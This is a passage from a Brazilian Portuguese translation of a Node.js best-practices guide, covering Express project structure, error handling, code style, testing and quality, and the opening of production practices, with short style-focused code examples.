estrutura por característica**](./sections/projectstructre/wraputilities.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 1.4 Separe 'app' e 'server' no Express\n\n**TL;DR:** Evite o péssimo hábito de definir todo a aplicação [Express](https://expressjs.com/) em um único arquivo enorme - separe a definição de seu 'Express' no mínimo em dois arquivos: a declaração da API (app.js) e as configurações de rede (WWW). Para uma estrutura ainda melhor, declare sua API dentro dos componentes.\n\n**Caso contrário:** Sua API será acessível apenas para testes via chamadas HTTP (mais lentos e muito mais difíceis de gerar relatórios de cobertura). Provavelmente não será um grande prazer manter centenas de linhas de código em um único arquivo.\n\n🔗 [**Leia Mais: separe 'app' e 'server' no Express**](./sections/projectstructre/separateexpress.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 1.5 Use configuração consciente, segura e hierárquica do ambiente\n\n**TL;DR:** Uma definição de configuração perfeita e impecável deve garantir que (a) as chaves possam ser lidas a partir do arquivo E TAMBÉM da variável de ambiente (b) os segredos sejam mantidos fora do código consolidado (c) a configuração é hierárquica para facilitar a localização. Existem alguns pacotes que podem auxiliar na checagem destes tópicos, como [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config) e [convict](https://www.npmjs.com/package/convict)\n\n**Caso contrário:** Deixar de satisfazer qualquer um dos requisitos de configuração simplesmente atrapalhará a equipe de desenvolvimento ou devops. Provavelmente ambas.\n\n🔗 [**Leia Mais: melhores práticas de configuração**](./sections/projectstructre/configguide.brazilian-portuguese.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#índice\">⬆ Voltar ao topo</a></p>\n\n# `2. Práticas de Tratamento de Erros`\n\n## ![✔] 2.1 Utilize Async-Await ou promises para tratamento de erros assíncronos\n\n**TL;DR:** Tratar erros assíncronos no estilo callback provavelmente é o caminho mais rápido para o inferno (também conhecido como a pyramid of doom - ou pirâmide da desgraça em bom português). O melhor presente que você pode dar ao seu código é utilizar uma biblioteca respeitável de promise ou async-await, que proporciona uma sintaxe de código muito mais compacta e familiar, como o try-catch.\n\n**Caso contrário:** O estilo de callback do Node.js, function(err, response), é um caminho promissor para um código insustentável devido à combinação de manipulação de erro com código casual, aninhamento excessivo e padrões de codificação inadequados.\n\n🔗 [**Leia Mais: evitando callbacks**](./sections/errorhandling/asyncerrorhandling.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 2.2 Utilize apenas objetos de erro interno\n\n**TL;DR:** Muitos geram erros como uma string ou como algum tipo personalizado - isso complica a lógica de tratamento de erros e a interoperabilidade entre módulos. Se você rejeita uma promise, lance uma mensagem de erro ou uma exceção - utilizando somente o objeto de erro interno aumentará a uniformidade e evitará a perda de informações.\n\n**Caso contrário:** Ao invocar algum componente, sendo incerto qual tipo de erro irá retornar - isso faz com que o tratamento de erros seja muito mais difícil. Até pior, usar tipos personalizados para descrever erros pode levar à perda de informações de erros críticos, como o stack trace!\n\n🔗 [**Leia Mais: usando o objeto interno de erro**](./sections/errorhandling/useonlythebuiltinerror.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 2.3 Diferencie erros operacionais vs erros de programação\n\n**TL;DR:** Erros operacionais (ex: API recebeu um input inválido) referem-se a casos onde o impacto do erro é totalmente compreendido e pode ser tratado com cuidado. Por outro lado, erro de programação (ex: tentar ler uma variável não definida) refere-se a falhas de código desconhecidas que ditam para reiniciar a aplicação.\n\n**Caso contrário:** Você pode sempre reiniciar o aplicativo quando um erro aparecer, mas por que derrubar aproximadamente 5000 usuários que estavam online por causa de um pequeno erro operacional previsto? O contrário também não é ideal - manter a aplicação rodando quando um problema desconhecido (erro de programação) ocorreu, pode levar para um comportamento não esperado. Diferenciá-los, permite agir com tato e aplicar uma abordagem equilibrada baseada no dado contexto.\n\n🔗 [**Leia Mais: erros operacionais vs erros de programação**](./sections/errorhandling/operationalvsprogrammererror.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 2.4 Trate erros de forma centralizada, não dentro de um middleware do Express\n\n**TL;DR:** A lógica de tratamento de erros, bem como email para administrador e registros (logs), deve ser encapsulada em um objeto dedicado e centralizado que todos os endpoints (por exemplo, middleware do Express, cron jobs, testes unitários) chamem quando um erro é recebido.\n\n**Caso contrário:** Não tratar os erros em um mesmo lugar irá levar à duplicidade de código, e provavelmente, a erros tratados incorretamente.\n\n🔗 [**Leia Mais: tratando erros de forma centralizada**](./sections/errorhandling/centralizedhandling.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 2.5 Documente erros de API usando o Swagger ou GraphQL\n\n**TL;DR:** Permita que os clientes de sua API saibam quais erros podem ser retornados para que eles possam lidar com esses detalhes, sem causar falhas. Para RESTful APIs geralmente, isto é feito com frameworks de documentação REST API, como o Swagger. Se você está usando GraphQL, você também pode utilizar seu esquema e comentários.\n\n**Caso contrário:** Um cliente de uma API pode decidir travar e reiniciar, apenas pelo motivo de ter recebido de volta um erro que não conseguiu entender. Nota: o visitante de sua API pode ser você (muito comum em um ambiente de microsserviço).\n\n🔗 [**Leia Mais: documentando erros de API no Swagger ou GraphQL**](./sections/errorhandling/documentingusingswagger.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 2.6 Finalize o processo quando um estranho chegar\n\n**TL;DR:** Quando ocorre um erro desconhecido (um erro de programação, veja a melhor prática #3) - há incerteza sobre a integridade da aplicação. Uma prática comum sugere reiniciar cuidadosamente o processo utilizando uma ferramenta de “reinicialização” como [Forever](https://www.npmjs.com/package/forever) e [PM2](http://pm2.keymetrics.io/).\n\n**Caso contrário:** Quando uma exceção desconhecida é lançada, algum objeto pode estar com defeito (por exemplo, um emissor de evento que é usado globalmente e não dispara mais eventos devido a alguma falha interna) e todas as requisições futuras podem falhar ou se comportar loucamente.\n\n🔗 [**Leia Mais: finalizando o processo**](./sections/errorhandling/shuttingtheprocess.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 2.7 Use um agente de log maduro para aumentar a visibilidade de erros\n\n**TL;DR:** Um conjunto de ferramentas de registro maduras como [Pino](https://www.npmjs.com/package/pino), [Winston](https://www.npmjs.com/package/winston), [Bunyan](https://www.npmjs.com/package/bunyan) ou [Log4js](https://www.npmjs.com/package/log4js), irão acelerar a descoberta e entendimento de erros. Portanto, esqueça o console.log.\n\n**Caso contrário:** Ficar procurando através de console.logs ou manualmente em arquivos de texto confusos sem utilizar ferramentas de consulta ou um visualizador de log decente, pode mantê-lo ocupado até tarde.\n\n🔗 [**Leia Mais: usando um logger maduro**](./sections/errorhandling/usematurelogger.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 2.8 Fluxos de testes de erros usando seu framework favorito\n\n**TL;DR:** Se o analista de QA ou o desenvolvedor de testes - Certifique-se de que seu código não atenda apenas o cenário positivo, mas também trate e retorne os erros corretos. Frameworks de teste como Mocha e Chai podem lidar com isso facilmente (veja exemplos de códigos no “Gist popup”)\n\n**Caso contrário:** Sem testes, seja automático ou manual, não podemos confiar em nosso código para retornar os erros certos. Sem erros significantes, não há tratamento de erros.\n\n🔗 [**Leia Mais: fluxos de testes de erros**](./sections/errorhandling/testingerrorflows.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 2.9 Descubra erros e downtime usando APM\n\n**TL;DR:** Produtos de monitoramento e desempenho (também conhecido como APM), avaliam sua base de código ou API de forma proativa, para que possam destacar automaticamente erros, falhas e lentidões não percebidos.\n\n**Caso contrário:** Você pode gastar muito esforço medindo o desempenho e os tempos de inatividade (downtime) da API. Provavelmente, você nunca saberá quais são suas partes de código mais lentas no cenário real e como elas afetam o UX.\n\n🔗 [**Leia Mais: usando APM**](./sections/errorhandling/apmproducts.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 2.10 Capture rejeições de promises não tratadas\n\n**TL;DR:** Qualquer exceção lançada dentro de uma promise será descartada, a menos que o desenvolvedor não se esqueça de tratá-la explicitamente. Mesmo que seu código esteja inscrito no process.uncaughtException! Supere isso, registrando no evento process.unhandledRejection.\n\n**Caso contrário:** Seus erros serão engolidos e não vão deixar rastros. Nada para se preocupar.\n\n🔗 [**Leia Mais: capturando rejeições de promises não tratadas**](./sections/errorhandling/catchunhandledpromiserejection.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 2.11 Falhe rápido, valide argumentos usando uma biblioteca dedicada\n\n**TL;DR:** Isto deveria fazer parte das melhores práticas de Express - Confirme a entrada da API para evitar erros desagradáveis ​​que são muito mais difíceis de acompanhar mais tarde. A validação de código geralmente é entediante ao menos que você esteja utilizando uma biblioteca de ajuda bem legal, como a Joi.\n\n**Caso contrário:** Considere isto: sua função espera receber um “Desconto” como argumento numérico que foi esquecido de passar. Mais adiante, seu código verifica se Desconto!=0 (valor do desconto permitido é maior que zero). Depois, irá permitir que o usuário desfrute de um desconto. Meu Deus, que baita bug. Entendeu?\n\n🔗 [**Leia Mais: falhando rápido**](./sections/errorhandling/failfast.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 2.12 Sempre use 'await' antes de retornar as 'promises' para evitar um rastreamento parcial da pilha de erro\n\n**TL;DR:** Sempre use `return await` quando retornar uma 'promise' para beneficiar o rastreamento completo da pilha de erro. Se um função retorna uma 'promise', essa função deve ser declarada como função `async` e  explicitamente `await` na `promise` antes de devolvê-la\n\n**Caso contrário:** Uma função que retorna uma `promise` sem o `await` não aparecerá na pilha de erro.\nA ausência dessas informações provavelmente complicariam a compreensão do fluxo que leva ao erro,\nespecialmente se a causa do comportamento anormal estiver dentro da função ausente\n\n🔗 [**Leia Mais: retornando promises**](./sections/errorhandling/returningpromises.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#índice\">⬆ Voltar ao topo</a></p>\n\n# `3. Práticas de Estilo de Código`\n\n## ![✔] 3.1 Use ESLint\n\n**TL;DR:** O [ESLint](https://eslint.org) é de fato o padrão para verificar possíveis erros e consertar o estilo de código, não apenas para identificar problemas básicos de espaçamento, mas também para detectar antipadrões de código, como desenvolvedores lançando erros sem classificação. Embora o ESLint possa corrigir automaticamente estilos de código, outra ferramentas como o [prettier](https://www.npmjs.com/package/prettier) e o [beautify](https://www.npmjs.com/package/js-beautify) são mais poderosos no quesito correção de formatação e trabalham em conjunto com o ESLint.\n\n**Caso contrário:** Desenvolvedores irão focar nas preocupações tediosas de espaçamento e largura de linha e o tempo poderá ser desperdiçado pensando sobre o estilo de código do projeto.\n\n🔗 [**Leia Mais: Usando ESLint e Prettier**](./sections/codestylepractices/eslint_prettier.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 3.2 Plugins Específicos do Node.js\n\n**TL;DR:** Além das regras padrões do ESLint que cobrem somente o Vanilla JS, adicione plug-ins específicos do Node, como o [eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node), o [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha) e o [eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security)\n\n**Caso contrário:** Muitos padrões de código do Node.js com falha podem escapar do radar. Por exemplo, desenvolvedores podem chamar arquivos fazendo o require(variavelComoCaminho) com uma determinada variável como caminho, o que permite que invasores executem qualquer script JS. Os linters do Node.js podem detectar tais padrões e reclamar cedo.\n\n<br/><br/>\n\n## ![✔] 3.3 Comece um Bloco de Código com Chaves na Mesma Linha\n\n**TL;DR:** As chaves que abrem um bloco de código devem estar na mesma linha da instrução de abertura\n\n### Exemplo de Código\n\n```javascript\n// Do\nfunction someFunction() {\n  // code block\n}\n\n// Avoid\nfunction someFunction()\n{\n  // code block\n}\n```\n\n**Caso contrário:** Evitar esta recomendação pode levar a resultados inesperados, como visto nesta thread do StackOverflow:\n\n🔗 [**Leia Mais:** \"Por que os resultados variam com base no posicionamento da chave?\" (Stackoverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)\n\n<br/><br/>\n\n## ![✔] 3.4 Separe suas declarações corretamente\n\nNão importa se você usa ponto-e-vírgula ou não para separar suas declarações, conhecer as armadilhas comuns de quebras de linha impróprias ou inserção automática de ponto e vírgula, irá ajudá-lo a eliminar erros regulares de sintaxe.\n\n**TL;DR:** Use o ESLint para obter conhecimento sobre as preocupações de separação. [Prettier](https://prettier.io/) ou [Standardjs](https://standardjs.com/) podem resolver automaticamente esses problemas.\n\n**Caso contrário:** Como visto na seção anterior, o interpretador do JavaScript adiciona automaticamente um ponto-e-vírgula ao final de uma instrução, se não houver uma, ou considera uma instrução como não terminada onde deveria, o que pode levar a alguns resultados indesejáveis. Você pode usar atribuições e evitar o uso de expressões de função chamadas imediatas para evitar a maioria dos erros inesperados.\n\n### Exemplo de código\n\n```javascript\n// Faça\nfunction doThing() {\n    // ...\n}\n\ndoThing()\n\n// Faça\n\nconst items = [1, 2, 3]\nitems.forEach(console.log)\n\n// Evitar - lança exceção\nconst m = new Map()\nconst a = [1,2,3]\n[...m.values()].forEach(console.log)\n> [...m.values()].forEach(console.log)\n>  ^^^\n> SyntaxError: Unexpected token ...\n\n// Evitar - lança exceção\nconst count = 2 // tenta executar 2(), mas 2 não é uma função\n(function doSomething() {\n  // Faça algo incrível\n}())\n// Coloque um ponto-e-vírgula antes da função invocada imediatamente, após a definição const, salve o valor de retorno da função anônima para uma variável ou evite IIFEs no conjunto\n```\n\n🔗 [**Leia mais:** \"Regra Semi ESLint\"](https://eslint.org/docs/rules/semi)\n🔗 [**Leia mais:** \"Nenhuma regra ESLint de múltiplas linhas inesperada\"](https://eslint.org/docs/rules/no-unexpected-multiline)\n\n<br/><br/>\n\n## ![✔] 3.5 Nomeie Suas Funções\n\n**TL;DR:** Nomeie todas as funções, incluindo closures e callbacks. Evite funções anônimas. Isso é especialmente útil em uma aplicação node. Nomear todas a funções permitirá que você entenda facilmente o que está olhando quando verificar um snapshot da memória.\n\n**Caso contrário:** A depuração de problemas de produção usando um dump principal (snapshot da memória) pode se tornar um desafio quando você percebe um consumo significativo de memória de funções anônimas.\n\n<br/><br/>\n\n## ![✔] 3.6 Convenções de nomenclatura para variáveis, constantes, funções e classes\n\n**TL;DR:** Utilize **_lowerCamelCase_** quando nomeando constantes, variáveis e funções, e **_UpperCamelCase_** (primeira letra maiúscula também) quando nomeando classes. Isso irá lhe ajudar a distinguir facilmente entre variáveis/funções, e classes que necessitam de instanciação. Use nomes descritivos, mas tente mantê-los curtos.\n\n**Caso contrário:** O JavaScript é a única linguagem no mundo que permite invocar um construtor (“Class”) diretamente sem instanciá-lo primeiro. Consequentemente, Classes e construtores de funções são diferenciados começando com UpperCamelCase\n\n### 3.6 Exemplo de Código\n\n```javascript\n// para classes nós usamos UpperCamelCase\nclass SomeClassExample {}\n\n// para nomes de constantes nós usamos a palavra const e lowerCamelCase\nconst config = {\n  key: \"value\",\n};\n\n// para nomes de variáveis e funções nós usamos lowerCamelCase\nlet someVariableExample = \"value\";\nfunction doSomething() {}\n```\n\n<br/><br/>\n\n## ![✔] 3.7 Prefira const do que let. Esqueça do var\n\n**TL;DR:** Usar `const` significa que uma vez que a variável foi atribuída, ela não pode ser reatribuída. Preferir const irá te ajudar a não cair na tentação de utilizar a mesma variável para diferentes usos, e irá deixar seu código mais limpo. Se uma variável precisa ser reatribuída, em um for loop, por exemplo, use `let` para declarar. Outro aspecto importante do `let` é que esta variável só estará disponível no escopo de código em que ela foi definida. `var` tem escopo de função, não de bloco, e [não deveria ser utilizada em ES6](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70)\n, agora que você tem const e let ao seu dispor.\n\n**Caso contrário:** A depuração se torna muito mais complicada ao seguir uma variável que frequentemente muda\n\n🔗 [**Leia Mais: JavaScript ES6+: var, let ou const?** ](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)\n\n<br/><br/>\n\n## ![✔] 3.8 Requires vem primeiro e não dentro de funções\n\n**TL;DR:** Faça o require de módulos no início de cada arquivo, antes e fora de qualquer função. Esta simples prática irá te ajudar não apenas a reconhecer as dependências de um determinado arquivo com facilidade e rapidez, como também evitará alguns possíveis problemas.\n\n**Caso contrário:** Os requires rodam de forma síncrona pelo Node.js. Se eles forem chamados de dentro de uma função, isso pode impedir que outras solicitações sejam tratadas em um momento mais crítico. Além disso, se um módulo necessário ou qualquer uma de suas dependências lançar um erro e travar o servidor, é melhor descobrir isso o mais rápido possível, o que pode não ser o caso se este módulo tiver sido declarado dentro de uma função.\n\n<br/><br/>\n\n## ![✔] 3.9 Faça Require nas pastas, não diretamente nos arquivos\n\n**TL;DR:** Ao desenvolver um módulo/biblioteca em uma pasta, coloque um arquivo index.js que exponha os componentes internos do módulo para que cada consumidor passe por ele. Isso serve como uma 'interface' para seu módulo e facilita futuras mudanças sem causar perdas.\n\n**Caso contrário:** Alterar a estrutura interna dos arquivos ou a assinatura pode quebrar a interface com clientes.\n\n### 3.9 Exemplo de Código\n\n```javascript\n// Do\nmodule.exports.SMSProvider = require(\"./SMSProvider\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver\");\n\n// Avoid\nmodule.exports.SMSProvider = require(\"./SMSProvider/SMSProvider.js\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver/SMSNumberResolver.js\");\n```\n\n<br/><br/>\n\n## ![✔] 3.10 Use 0 operador `===`\n\n**TL;DR:** Dê preferência em usar o operador de comparação estrita `===` ao invés do operador de comparação abstrata `==`, que é mais fraco. `==` irá comparar duas variáveis depois de convertê-las para o mesmo tipo. Não há conversão de tipo no `===` e ambas as variáveis devem ser do mesmo tipo para serem iguais.\n\n**Caso contrário:** Variáveis diferentes podem retornar verdadeiro quando comparadas usando o operador `==`.\n\n### 3.10 Exemplo de Código\n\n```javascript\n\"\" == \"0\"; // false\n0 == \"\"; // true\n0 == \"0\"; // true\n\nfalse == \"false\"; // false\nfalse == \"0\"; // true\n\nfalse == undefined; // false\nfalse == null; // false\nnull == undefined; // true\n\n\" \\t\\r\\n \" == 0; // true\n```\n\nTodas as declarações acima false se feitas com `===`.\n\n<br/><br/>\n\n## ![✔] 3.11 Use Async Await, evite callbacks\n\n**TL;DR:** Agora o Node 8 LTS possui suporte completo para Async-await. Esta é uma nova maneira de lidar com códigos assíncronos que substitui callbacks e promises. Async-await é não-bloqueante, e isso faz com que os códigos assíncronos pareçam síncronos. O melhor presente que você pode dar ao seu código é usar async-await, que fornece uma sintaxe de código muito mais compacta e familiar como o try-catch.\n\n**Caso contrário:** Lidar com erros assíncronos no estilo de callback é provavelmente o caminho mais rápido para o inferno - esse estilo força verificar todos os erros, lidar com desajeitados aninhamentos de código e torna difícil raciocinar sobre o fluxo de código.\n\n🔗[**Leia mais:** Guia do async await 1.0](https://github.com/yortus/asyncawait)\n\n<br/><br/>\n\n## ![✔] 3.12 Use Fat (=>) Arrow Functions\n\n**TL;DR:** Embora seja recomendado usar async-await e evitar parâmetros de função ao lidar com APIs antigas, que aceitam promises ou callbacks - arrow functions tornam a estrutura do código mais compacta e mantém o contexto léxico da função raiz (por exemplo, 'this').\n\n**Caso contrário:** Códigos mais longos (em funções ES5) são mais propensos a erros e são mais difíceis de ler.\n\n🔗 [**Leia mais: Arrow Functions - é hora de abraçar a causa**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#índice\">⬆ Voltar ao topo</a></p>\n\n# `4. Práticas de Testes e Qualidade Geral`\n\n## ![✔] 4.1 No mínimo, escreva testes de API (componente)\n\n**TL;DR:** A maioria dos projetos simplesmente não possuem testes automatizados devido a falta de tempo ou geralmente o 'testing project' fica fora de controle e acaba sendo abandonado. Por esse motivo, priorize e comece com o teste de API, que é o mais fácil de escrever e proporciona mais cobertura do que os testes unitários (você pode inclusive criar testes de API sem código usando ferramentas como [Postman](https://www.getpostman.com/)). Depois, se você tiver mais recursos e tempo, continue com testes avançados, como testes unitários, testes de banco de dados, testes de desempenho, etc.\n\n**Caso contrário:** Voce pode passar longos dias escrevendo testes unitários para perceber que possui apenas 20% de cobertura de sistema.\n\n<br/><br/>\n\n## ![✔] 4.2 Inclua 3 partes em cada nome de teste\n\n**TL;DR:** Faça o teste falar no nível de requisitos, de modo que seja autoexplicativo para engenheiros de garantia de qualidade e desenvolvedores que não estão familiarizados com o código. Indicar no nome do teste o que está sendo testado (unidade em teste), em que circunstâncias e qual é o resultado esperado.\n\n**Caso contrário:** Uma implantação falhou, um teste chamado \"Adicionar produto\" falhou. Isso lhe diz exatamente o que está errado?\n\n🔗 [**Leia Mais: Inclua 3 partes em cada nome de teste**](./sections/testingandquality/3-parts-in-name.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 4.3 Estutura de testes padrão AAA\n\n**TL;DR:** Estruture seus testes com 3 seções bem separadas: Arrange, Act & Assert (AAA). A primeira parte inclui a configuração do teste, depois a execução do teste unitário, e finalmente, a fase de asserção. Seguir esta estrutura garante que o leitor não gaste nenhuma CPU cerebral para entender o plano de teste\n\n**Caso contrário:** Você não somente passará várias horas do dia para entender o código principal, mas agora também gastará várias horas no que deveria ter sido uma simples parte do dia (testando) esticando seu cérebro.\n\n🔗 [**Leia Mais: Estutura de testes padrão AAA**](./sections/testingandquality/aaa.md)\n\n<br/><br/>\n\n## ![✔] 4.4 Detecte problemas de código com um linter\n\n**TL;DR:** Use um code linter para checar a qualidade básica e detectar antipadrões antecipadamente. Rode-o antes de qualquer teste e adicione-o como um pre-commit git-hook para minimizar o tempo necessário para revisar e corrigir qualquer problema. Veja também [Seção 3](https://github.com/goldbergyoni/nodebestpractices#3-code-style-practices) no Prática de Estilo de Código.\n\n**Caso contrário:** Você pode deixar passar algum antipadrão e possível código vulnerável para seu ambiente de produção.\n\n<br/><br/>\n\n## ![✔] 4.5 Evite dados fixos e sementes para teste, adicione os dados no teste\n\n**TL;DR:** Para evitar o acoplamento de testes e facilitar o entendimento do fluxo do teste, cada teste deve adicionar e atuar em seu próprio conjunto de linhas de banco de dados. Sempre que um teste precisar extrair ou assumir a existência de alguns dados do banco de dados - ele deve incluir explicitamente esses dados e evitar a mutação de outros registros\n\n**Caso contrário:** Considere um cenário em que a implementação é abortada devido a falhas nos testes. Agora, a equipe gastará um tempo precioso de investigação que termina em uma triste conclusão: o sistema funciona bem, mas os testes interferem uns nos outros e quebram a compilação\n\n🔗 [**Leia Mais: Evite dados fixos para teste**](./sections/testingandquality/avoid-global-test-fixture.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 4.6 Inspencione constantemente por dependências vulneráveis\n\n**TL;DR:** Até mesmo as dependências mais confiáveis, como o Express, têm vulnerabilidades conhecidas. Isso pode ser facilmente contornado usando ferramentas comunitárias e comerciais como 🔗 [nsp](https://github.com/nodesecurity/nsp) que pode ser invocado a partir do seu CI em cada build.\n\n**Caso contrário:** Manter seu código livre de vulnerabilidades sem ferramentas dedicadas exigirá o acompanhamento constante de publicações online sobre novas ameaças. Saia do tédio.\n\n<br/><br/>\n\n## ![✔] 4.7 Marque seus testes\n\n**TL;DR:** Diferentes testes devem rodar em diferentes cenários: testes de rápidos, sem IO, devem ser executados quando um desenvolvedor salva ou faz commit em um arquivo, testes completos de ponta a ponta geralmente são executados quando uma nova solicitação de request é enviada, etc. Isso pode ser conseguido através da marcação de testes com palavras-chave como #cold #api #sanity. Assim você pode invocar o subconjunto desejado. Por exemplo, é desta forma que você invocaria apenas o grupo de sanity test usando o [Mocha](https://mochajs.org/): mocha --grep 'sanity'\n\n**Caso contrário:** Rodar todos os testes, incluindo aqueles que executam dezenas de consultas de banco de dados, sempre que o desenvolvedor fizer uma pequena alteração pode ser extremamente lento e impedir que desenvolvedores executem testes.\n\n<br/><br/>\n\n## ![✔] 4.8 Verifique a cobertura de seu teste, isso te ajuda a identificar padrões incorretos de teste\n\n**TL;DR:** Ferramentas de cobertura de código como [Istanbul](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc), são ótimas por 3 motivos: elas são gratuitas (nenhum esforço é necessário para beneficiar esses relatórios), elas ajuda a identificar diminuição na cobertura de testes, e por último mas não menos importante, ela destacam a incompatibilidade de testes: olhando relatórios coloridos de cobertura de código, você pode notar, por exemplo, áreas de código que nunca são testadas como cláusulas catch (o que significa que os testes só invocam os caminhos felizes e não como o aplicativo se comporta em erros). Configure-o para falhas se a cobertura estiver abaixo de um certo limite.\n\n**Caso contrário:** Não haverá nenhuma métrica automática informando quando uma grande parte de seu código não é coberta pelo teste.\n\n<br/><br/>\n\n## ![✔] 4.9 Inspecione pacotes desatualizados\n\n**TL;DR:** Use sua ferramenta preferida (por exemplo, 'npm outdated' ou [npm-check-updates](https://www.npmjs.com/package/npm-check-updates) para detectar pacotes instalados que estão desatualizados, injetar essa verificação em seu pipeline de CI e até mesmo fazer uma falha grave em um cenário grave. Por exemplo, um cenário grave pode ser quando um pacote instalado esteja há 5 commits atrás (por exemplo, a versão local é 1.3.1 e a versão no repositório é 1.3.8) ou está marcada como descontinuada pelo autor - mate o build e impeça a implantação desta versão.\n\n**Caso contrário:** Sua produção executará pacotes que foram explicitamente marcados pelo autor como arriscados.\n\n<br/><br/>\n\n## ![✔] 4.10 Use docker-compose para testes e2e\n\n**TL;DR:** Teste de ponta a ponta (end to end, ou e2e), que inclui dados ativos, costumava ser o elo mais fraco do processo de CI, já que depende de vários serviços pesados como o banco de dados. O docker-compose deixa isso mamão com açúcar, criando um ambiente de produção usando um arquivo de texto simples e comandos fáceis. Isto permite criar todos os serviços dependentes, banco de dados e rede isolada para teste e2e. Por último mas não menos importante, ele pode manter um ambiente sem estado que é invocado antes de cada suíte de testes e é encerrado logo após.\n\n**Caso contrário:** Sem o docker-compose, as equipes devem manter um banco de dados de teste para cada ambiente de teste, incluindo as máquinas dos desenvolvedores, e manter todos esses bancos de dados sincronizados para que os resultados dos testes não variem entre os ambientes.\n\n<br/><br/>\n\n## ![✔] 4.11 Refatore regularmente usando ferramentas de análise estática\n\n**TL;DR:** O uso de ferramentas de análise estática ajuda fornecendo maneiras objetivas de melhorar a qualidade do código e manter seu código sustentável. Você pode adicionar ferramentas de análise estática para seu build de Integração Contínua (CI) falhar quando encontre code smells. Seus principais pontos de vantagem sobre o linting são a abilidade de inspecionar a qualidade no contexto de múltiplos arquivos (por exemplo, detectar duplicidades), realizar análises avançadas (por exemplo, complexidade de código), e acompanhar histórico e progresso de problemas de código. Dois dexemplos de ferramentas que podem ser utilizadas são [Sonarqube](https://www.sonarqube.org/) (mais de 2.600 [stars](https://github.com/SonarSource/sonarqube)) e [Code Climate](https://codeclimate.com/) (mais de 1.500 [stars](https://github.com/codeclimate/codeclimate)).\n\n**Caso contrário:** Com qualidade de código ruim, bugs e desempenho sempre serão um problema que nenhuma nova biblioteca maravilhosa ou recursos de última geração podem corrigir.\n\n🔗 [**Leia Mais: Refatoração!**](./sections/testingandquality/refactoring.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 4.12 Escolha cuidadosamente sua plataforma de Integração Contínua - CI (Jenkins vs CircleCI vs Travis vs Resto do mundo)\n\n**TL;DR:** Sua plataforma de integração contínua (CICD) irá hospedar todas as ferramentas de qualidade (por exemplo, teste, lint), então ela deve vir com um ecosistema de plugins arrebatador. O [Jenkins](https://jenkins.io/) costumava ser o padrão de muitos projetos, pois tem a maior comunidade, juntamente com uma poderosa plataforma, ao preço de configuração complexa que exige uma curva de aprendizado íngreme. Atualmente, ficou bem mais fácil para configurar uma solução de CI usando ferramentas SaaS como [CircleCI](https://circleci.com) e outras. Essas ferramentas permitem a criação de um pipeline de CI flexível sem o peso de gerenciar toda a infraestrutura. Eventualmente, é um perde e ganha entre robustez e velocidade - escolha seu lado com cuidado!\n\n**Caso contrário:** Escolher algum fornecedor de nicho pode fazer com que você fique engessado quando precisar de alguma personalização avançada. Por outro lado, escolher o Jenkins pode ser uma perda de tempo precioso na configuração da infraestrutura.\n\n🔗 [**Leia Mais: Escolhendo a plataforma de CI**](./sections/testingandquality/citools.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 4.13 Teste seus 'middlewares' isoladamente\n\n**TL;DR:** quando um 'middleware' contém alguma lógica imensa que abrange muitas solicitações, vale a pena testá-lo isoladamente, sem ativar todo o framework. Isso pode ser facilmente alcançado por 'stubbing' e espionando os objetos {req, res, next}\n\n**Caso contrário:** Um bug no 'middleware Express' === um bug em todas ou na maioria das solicitações\n\n🔗 [**Read More: Test middlewares in isolation**](./sections/testingandquality/test-middlewares.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#índice\">⬆ Voltar ao topo</a></p>\n\n# `5. Boas Práticas de Produção`\n\n## ![✔] 5.1. Monitoramento\n\n**TL;DR:** O monitoramento é um jogo de descobrir problemas antes que os clientes os encontrem - obviamente deve ser atribuída muita importância para isto. O mercado está sobrecarregado de ofertas, portanto, considere começar com a definição das métricas básicas que você deve seguir (sugestões minhas dentro), depois passe por recursos extras e escolha a solução que marca todas as caixas. Acesse o ‘Gist’ abaixo para uma visão geral das soluções.\n\n**Caso contrário:** Falha === clientes desapontados. Simples\n\n🔗 [**Leia Mais: Monitoramento!**](./sections/production/monitoring.brazilian-portuguese.md)\n\n<br/><br/>\n\n## ![✔] 5.2. Aumente a transparência usando smart logging\n\n**TL;DR:** Logs podem ser um armazém inútil de instruções de debug ou o ativador de um belo dashboard que conta a história do seu app. Planeje sua plataforma de logs desde o primeiro dia: como os logs são coletados, armazenados e analisados para ter certeza de que as informações desejadas possam realmente ser extraídas, por exemplo, a avaliação de erro, após uma transação inteira através de serviços e servidores, etc.\n\n**Caso contrário:** Você acaba com uma caixa preta que é difícil de raciocinar, então você começa a 